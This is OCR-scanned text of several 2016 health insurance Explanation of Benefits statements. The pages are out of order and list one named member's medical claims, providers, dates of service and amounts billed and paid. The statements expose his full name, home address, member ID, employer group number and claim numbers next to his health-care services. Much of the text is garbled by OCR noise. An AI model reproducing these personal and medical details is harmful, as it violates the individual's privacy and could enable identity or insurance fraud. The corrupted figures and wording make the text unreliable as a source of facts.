.-·-~::~~~:_=-~~;;.::r:~~:;j-~'---L~ ·--~:=::·_:_ .~-", $0.00 -D~ sc~ tio~·i~~J~'--·:-·~ Amount Billed· I ·.. .. . , ., _, . . .. . . This is the total amountJhal your provider blled1for ttle services that were provided to you. ·. . :. ·­;·-·· • t ;__ . ~ ' . · 1: _­-i' -· · ..." •:::•~·. -\tlr-t·-1 ' : .: •j • .. ·.':'. : $0.00 ,.1 · 1· .·· -. , .­,, . ..:.., . • -· , ,Your Plan Paid . I ! !iii . : ,.; '~.1... ' a,. ·-. i I.::• I ...-; 1•'• :i I l 1, · 1r :. 1°1 1i~·:= i i-­fu Tois'isilieportionofttilarriounlt)!ll~tha(wa:s_paidby~ur plan. ''' "; :· ·-,: :·_ .'; '·.:: · , •. ' STD-EOB Page 1 of 9 Use this EOB statement as a reference 6r retain as needed 00000097356e081 ' S WD-04283'1l2"019964,M0-16215,Ei0311·AFUS 22SYCP United HealthCare Services;,. Inc. GREENSBORO SERVICE 1...,ENTER August 02, 2016 PO BOX 7 40809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4of 4 000001037812183 S WD-04283'02'019963-M0-16215-60311-AFUS 22SYCP Unit.ed.Healthcare IWA-0..,,C.,,,.,.,, United HealthCare Services..i.Inc. August 02, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit infonnation. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: Consu [email protected] Ifwe continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networ1< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, membedD,.group number and.date.of birth).. _____ ____ _ __ Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier orits use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S W0-04283"01 '018962-M0-18215-60311-AFUS 22SYCP .in United.Healthcare t/11•-G<a,,O:r....., United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER August 02, 2016 PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: P FLAVILL Claim Number: 607007599301 Patient Account Number: 002299-37390 · Your Itemized Res onsibilit to Provider.. · Date(s) of Type of Service Notes• Amount Plan I I Yoii'r~Pilan 'l Amount You Service Billed (-) Discounts (-) : ,. Paid · !(=) Deductible (+) Copay (+) Cu111suram;e (+) !\ion Covered (=/ Owe ·1 07/25/2016 OFFICE VISITS 01 $300.00 $143.32 $156.68 Claim Total: $300.00 $143.32 $156.68 -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOW>J IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STO-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 0000010378121&3 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S W0-04283'01"019961-M0-16215-60311-AFUS 21SYCP UnitedHealthcare ~ Ai.w--.&cup~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. August 02, 2016 DPS$$$PKG JEFFREY DAMUKAITIS Member/Patient Information 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE I'I I• III111II I1•1 II•I11I111 IIII1111••I11111111 u i ,I'II1IIII 1111I1 Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify yoJ that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). I ... ,._ ,..__,_.._ ___,____ ;Oollar A111ou"nt .:cescriptiori-:_-'---------... . • ·· ·; ·_ ·­•• ...; -­":'~ ; ­. '"i. ~::o-;:-..... . . ::-_:,.. . ...... -, ..•a,,.,..­-----­----·.~ I ', 1 •• I• ;•-~;" , • . Planplscoun~ _ ' , !._ ._. . . > .. ,.. :.. ,.·.,;_;... ,.. ,.. , (. •· :..:..;,:;_.· .·...::_:, ·: ·:_);:: .;$1.43.32 .Your pJan negotiaJes,discounts with prqy~ers·to !$~ve:yo~•·(l'lO(l~y.i This;E1tt1ount may.a1so;:1i'lQJ_ude ·: <: servi~ that you are not ~porlSible to p~y.· .; · · ., · · •· : · , . ,.. Your.Plan Paid --. . . • . ·.. · . , . ·· ·· ,.;, ., .' ' :J/$156.e'i( This;ls­the portion oMHifamountblllecfth~t was paid by yourplah/ ·;7 / : . : : ·")::~·­. I · • ' . · · ·­· ' · . -: 1 • • · · • STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000001037812183 S WB-10087'04"047152-M0-16141-60311-AFUS 22SYCP ,111 UnitedHealthcare II/IA-~~ United HealthCare Services,1.,. Inc. GREENSBORO SERVICE vENTER May 20, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual (-)Applied to (=)Remaining FAMILY Annual (-)Applied to (=)Remaining Amount Date Balance Amount Date Balance Relationship: EE -·~ tN-t!ElWORK ... IN NETWORK -Deductible $1,400.00 $700.00 $700.J Deductible $7QO.QO $700.00 Met Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Met .OUT OF NETWORK OUT OF, NE1WORK ' .;, Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible this EOB statement. health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for Plan Year: The dates your plan benefit maximums are applicable. eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of 8 000000983246186 S WB-10087'04'047151-M0-18141-60311-AFUS 22SYCP United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER May 20, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA {3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection {111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: Consu merProtection@td i. texas .gov If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, r uest an ID card, retill f?rescriptions if eligible, obtain more informatio""n"--"-on'-'---­EOB content and more! For immediate, secure self-service visit www.myuhc.com. - Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card {first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards {if applicable), letters, explanation of benefits (EOBs), and provider remittance advices {PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 7 of 8 Use this EOB statement as a reference or retain as needed S WB-10087"03"047150-M0-161'11.60311-AFUS 22SVCP Unitec!Healthcare 1W A~~~ United HealthCare Services,,_ Inc. GREENSBORO SERVICE 1.,ENTER May 20, 2016 PO BOX 740809 ATLANTA,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NE"TWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IFYOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. IK -THE UNIT($) FOR THIS SERVICE IS WITHIN EITHER THE TYPICAL FREQUENCY PER DAY, OR THE FREQUENCY WITHIN THE GLOBAL PERIOD, OR THE MONTHLY RENTAL OF THIS ITEM ALLOWED UNDER THE PROVIDER'S AGREEMENT. WE HAVE BASED REIMBURSEMENT ON THE ALLOWED UNIT(S). 06 -OUR RECORDS SHOW THESE SERVICES OR A PORTION OF THE GLOBAL CHARGE HAVE BEEN PREVIOUSLY SUBMITTED BY THIS OR ANOTHER PHYSICIAN OR OTHER HEAL TH CARE PROVIDER. 09 -THE NUMBER OF UNITS REPORTED EXCEEDS THE TYPICAL FREQUENCY PER DAY. THEREFORE, THE NUMBER OF UNITS THAT EXCEED THE TYPICAL FREQUENCY PER DAY ARE NOT BEING CONSIDERED. IF THE PROVIDER HAS ADDITIONAL DOCUMENTATION, PLEASE SEND IT TO US FOR CONSIDERATION. IF THIS IS A RENTAL, A SINGLE RENTAL PAYMENT COVERS A FULL CALENDAR MONTH FOR DURABLE MEDICAL EQUIPMENT, ORTHOTICS AND PROSTHETICS AND IS ALLOWED ONCE PER CALENDAR MONTH. THE ADDITIONAL UNITS FOR THE RENTAL OF THIS ITEM HAVE BEEN DENIED AS EXCEEDING THESE LIMITS. Y2 -FOR PROCESSING PURPOSES, THIS SERVICE LINE HAS BEEN RECODED (1) WITH AN INDIVIDUAL DATE OF SERVICE, (2) WITH AN INDIVIDUAL UNIT, AND/OR (3) WITHOUT A MODIFIER. You have the rtght to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit determination may be requested by submitting your appeal to us in wrtting at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the rtght to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authortzed representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 8 000000983246196 .) SWB-10087'03'047149-M0-18141-60311,AFUS 22SYCP UnitedHealthcare IJA___ United HealthCare Services;..Inc. May 20, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 7 40809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: T PETTIJOHN Claim Number: 597371715901 Patient Account Number: 21656911 Oate(s) of Service Type of Service Notes* Amount Billed (·) Plan Discounts (-) Deductible Your Itemized Re onsibilit to Provider"* Amount You (+) Cupay (+) Coinsurance (+) Non t;overed (=) Owe 05/10/2016 DIAGNOSTIC SERVICES D1 $1 ,126.00 $281.50 05/10/2016 RADIOLOGY SERVICES D1 $nO.OO $180.00 $540.00 $0.00 $0.00 $0.00 $0.00 $0.0 05/10/2016 PRESCRIPTION DRUGS D1 $340.00 $85.00 $255.00 $0.00 $0.00 $0.00 $0.00 $0.0 05/10/2016 PRESCRIPTION DRUGS D1 $17.00 $15.74 $1.26 $0.00 $0.00 $0.00 $0.00 $0.0 05/1012016 DIAGNOSTIC SERVICES D1 $190.00 $31.72 $158.28 $0.00 $0.00 $0.00 $0.00 $0.0 Claim Total: $2,393.00 $593.96 $1,799.04 $0.00 $0.00 $0.00 $0.00 $0.0 ... This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment._ _ Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: DGE20975901 Provider: BYRAM HEALTHCARE Claim Number: 597567366001 Oate(s) of Service Type of Service Notes* Amount Billed (-) Plan I Discounts (·) i Your Plan Paid 05/1712016 MEDICAL SUPPLIES Y2 $100.00 $50.58 $49.42 05/18/2016 MEDICAL SUPPLIES Y2 $100.00 $50.58 $49.42 Claim Total: $200.00 $101.16 $98.84 $0.00 $0.00 $0.00 $0.00 $0.00 ••This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 5 of 8 S WB-10087'02'047148-"10-16141-SOJ11-AFUS 22SYCP UnitedHealthcarellllA--~~ United HealthCare Services;..Inc. GREENSBORO SERVICE 1..,ENTER May 20, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: LABORATORY Claim Number: 596582347102 Patient Account Number: 76578391 Your lte!Jlized Res onsibilit to Provider"• Date(s) of Type of Service Notes• Amount Plan Y.our.-Plan Amoi..nt Yuu Service Billed (-) Discounts (·) Patti Deductiole (+J Copay (+) Co 1r1sura11..:t (·') No n Cuvt=rt?d (=) Ow e 04/22/2016 LABORATORY SERVICES D1 $112.50 $102.45 $10.05 $0.00 $0.00 $0.00 $0.00 - 04122/2016 LABORATORY 06 $112.50 $112.50 $0.00 SERVICES 04/22/2016 LABORATORY D1 $10.00 $9.99 $0.01 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 04/22/2016 LABORATORY 09 .$206.55 $206.55 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 . -SERVICES 04/22/2016 LABORATORY D1, IK $321.45 $200.63 $120.82 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES Claim Total: $763.00 $632.12 $130.88 $0.00 $0.00 $0.00 $0.00 $0.00 ..This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 4 of 8 Use this EOB statement as a reference or retain as needed SWB-10087'02'047147•M0·16141.«l311-AFUS 22SYCP UnitedHealthcaretJll·--~ United HealthCare Services,,_ Inc. GREENSBORO SERVICE 1,.,ENTER May 20, 2016 PO BOX 7 40809 ATLANTA.,,GA 30374-0802 Have more questions about your claim? Phone: 1-o0Q..638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: R HERRSCHER Date(s) of Type ofService Notes* Amount Service Billed (-) 05/13/2016 OFFICE VISITS 01 $155.00 Claim Total: $155,00 Claim Detail for JEFFREY DAMUKAITIS Provider: LABORATORY Claim Number: 597181213902 Plan !· Your Plan I Discounts (-) "' Paid i<=) ~ I $39.33 $115.67 $39.33 $115.67 Claim Number: 596582347101 Patient Account Number: 000100059061 Your Itemized Res onsibilit to Provider** Amount You Deductible (+) Copay (+J Coinsurance (+) Non Covered(=) Owe $0.00 $0.00 $0.00 $0.00 $0.00 $0,00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: 76578391 Your Itemized Res onsibilit to Provider•• Amount You Date( s) of Type of Service Notes* -Amount---Plan__ ~i our_Pl;m.I Service Billed (-) Discounts (-) Paid (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) --owe ~ 04/22/2016 LABORATORY D1 $183.40 $158.12 $25.28 SERVICES 04/22/2016 LABORATORY D1 $183.25 $157.97 $25.28 $0.00 $0.00 $0.00 $0.00 SERVICES 04/22/2016 LABORATORY 01 $183.25 $157.97 $25.28 $0.00 $0.00 $0.00 $0.00 SERVICES 04/22/2016 LABORATORY D1 $22B.10 $196.61 $31.49 $0.00 $0.00 $0.00 $0.00 SERVICES $0.00 $0.00 $0.00 $0.00 04/22/2016 LABORATORY D1 $123.25 $112.22 $11.03 $0.00 $0.00 $0.00 $0.00 04/22/2016 LABORATORY 01 $208.75 $190.06 $1B.69 SERVICES $0.00 $0.00 $0,00 $0.00 $137.05 $0.00 Claim Total: $1,110.00 $972.95 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Page 3 of 8 STO-EOB S WS-10087"01 '047146-M0-16141-60311-AFUS 22SVCP United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER May 20, 2016 PO BOX 740809 ATLANTA.,_GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: A TSIAKOS Claim Number: 596578475701 Patient Account Number: 911499-402511 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan C Your Plan Amou nt You Service Billed (-) Discounts (-)~ _ Paid ·:_: (=) Ueduct1ble (+) Copay (+) Coinsurance (-> ) Non Covered(=) Owe 05/09/2016 OFFICE VISITS 01 $150.00 $31.99 $118.01 $0.00 $0.00 $0.00 $0.00 Claim Total: $150.00 $31.99 $118.01 $0.00 $0.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: R HERRSCHER Claim Number: 597181213901 Patient Account Number: 000100059061 Your Itemized Responsibility to Provider** Date(s) of Type of Service Notes• Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) Paid Deductible (+) Copay (+) Coim;urance (+) Non Covered(=) Owe 05/13/2016 IMMUNIZATION D1 $40.00 $14.00 $26.00 $0~0 05/13/2016 IMMUNIZATION $60.00 $0.00 $60.00 $0.00 Claim Total: $100.00 $14.00 $86.00 $0.00 ... This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 8 000000983246186 S WB-10087'01'047145-M0-16141-00311-AFUS 22SYCP United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 Visit www.myuhc.com for all your claim and benefit ,information. May 20, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Plan Discounts • -~ ·' = $2,385.51 . Your plan negotiates discounts with-providers to[save you rr:i~ney. This amount in!l~ also incl.Ide > STD-EOB Page 1 of 8 Use this EOB statement as a reference or retain as needed 000000983246196 S VN-Olll09'03'033319-M0-16258-60311 -/>FUS 22SVCP United HealthCare Services;..Inc. GREENSBORO SERVICE 1.,ENTER September 14, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STO-EOB S VN-06809112"003318-MO-16258-60311-AFUS 22SVCP ~ UnitedHealthcare '1/) A-~o.r.-,, United HealthCare Services;..Inc. GREENSBORO SERVICE 1..,ENTER September 14, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN NETWORK j lft!'lflW~RK ' . . .-.. $1,400.00 $700.00 ~-L Deductible $700.00 "" $700.00 $700.00 Met $10,000.00 Deductible Out of Pocket $5,000.00 $5,000.00 $5,000.00 $5,000.00 Met Out of Pocket OUT OF_NETWORK I OOT OF NETWORK ...-....,, .. Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 $7,500.00 $0.00 $7,500.00 Out of Pocket STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 000001070456223 S VN-00009"02'033317-MO-16258-E0311-AFUS 22SYCP UnitedHealthcareIWA-lffll!Corl'Ol'II' United HealthCare Services;,. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 September 14, 2016 ATLANTA.., GA 3037 4-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Notes* D2 -THE DISCOUNT SHOV'vN IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE \NHATYOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. IT -THJS PHYSICIAN OR HEALTH CARE PROVIDER IS OUT-OF-NETWORK. BASED ON AN AGREEMENT WITH MULTIPLAN, THE PROVIDER HAS ACCEPTED A DISCOUNT FOR THIS SERVICE. THE DISCOUNT SHOWN IS YOUR SAVINGS AND IS NOT INCLUDED IN THE AMOUNT YOU OWE. IF YOU HAVE PAID THE PHYSICIAN OR HEALTH CARE PROVIDER MORE THAN THE AMOUNT YOU OWE, PLEASE CALL THEM FOR A REFUND. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. -You may request copies (free of charge) of information relevant to your claim by contacting us at the above_address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. STD-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed SVN-08909-01"03331B-M0-16256-eo311·AFUS 22SYCP United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,;ENTER PO BOX 740809 September 14, 2016 ATLANTA;.GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: QUEST DIAGNOSTICS Claim Number: 612279086201 Patient Account Number: 4388266893R Your Itemized Res onsibilit to Provider-• Date(s) of Service Type of Service Notes• Amount Billed H Plan Discounts (-) Y our Plan Paid l(=) Deductible (+) Copay Amount You (+) Coinsurance (+) t\ion Covered (=) Owe 08/24/2016 LABORATORY IT $91.94 $69.84 $22.10 SERVICES 08/24/2016 LABORATORY IT $140.61 $80.84 $59.77 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 08/24/2016 LABORATORY IT $36.77 $23.03 $13.74 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 08/24/2016 LABORATORY IT $17.72 $9.97 $7.75 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 08/24/2016 LABORATORY IT $46.36 $24.23 $22.13 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 08/24/2016 LABORATORY IT $192.52 $84.06 $108.46 $0.00 $0.00 $0.00 $0.00 $0 .0 SERVICES Claim Total: $525.92 $291.97 $233.95 $0.00 $0.00 $0.00 $0.00 $0.00 0 This total does not reflect any payments I copays you made at the time ofservice. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS HEALTH Claim Number: 613605745501 Patient Account Number: 4604470328 01F85004 Your Itemized Res onsibilit to Provider*' Date(s) of Type of Service Notes* Amount Plan Your.Plan Amount You Service Billed (-) Discounts (-) l ., Paid ' . \(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe •' ­ ~'"';' ~·,;-:: ~~r Please wait for a provider bill before making a payment STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 5 000001070456223 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. September 14, 2016 OPS$$$PKG Member/Patient Jnfonnation JEFFREY DAMUKAITIS Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75008-4917 2201 WILLOW CREEK DR Member ID: A838199653 Relationship: EE 111I11111 11II I •1IiiI I11h111 I lh111 II I1I I I I 11111111 •111IIII•11 ••1 Group Name: RAYTHEON COMPANY Group#: 0201057 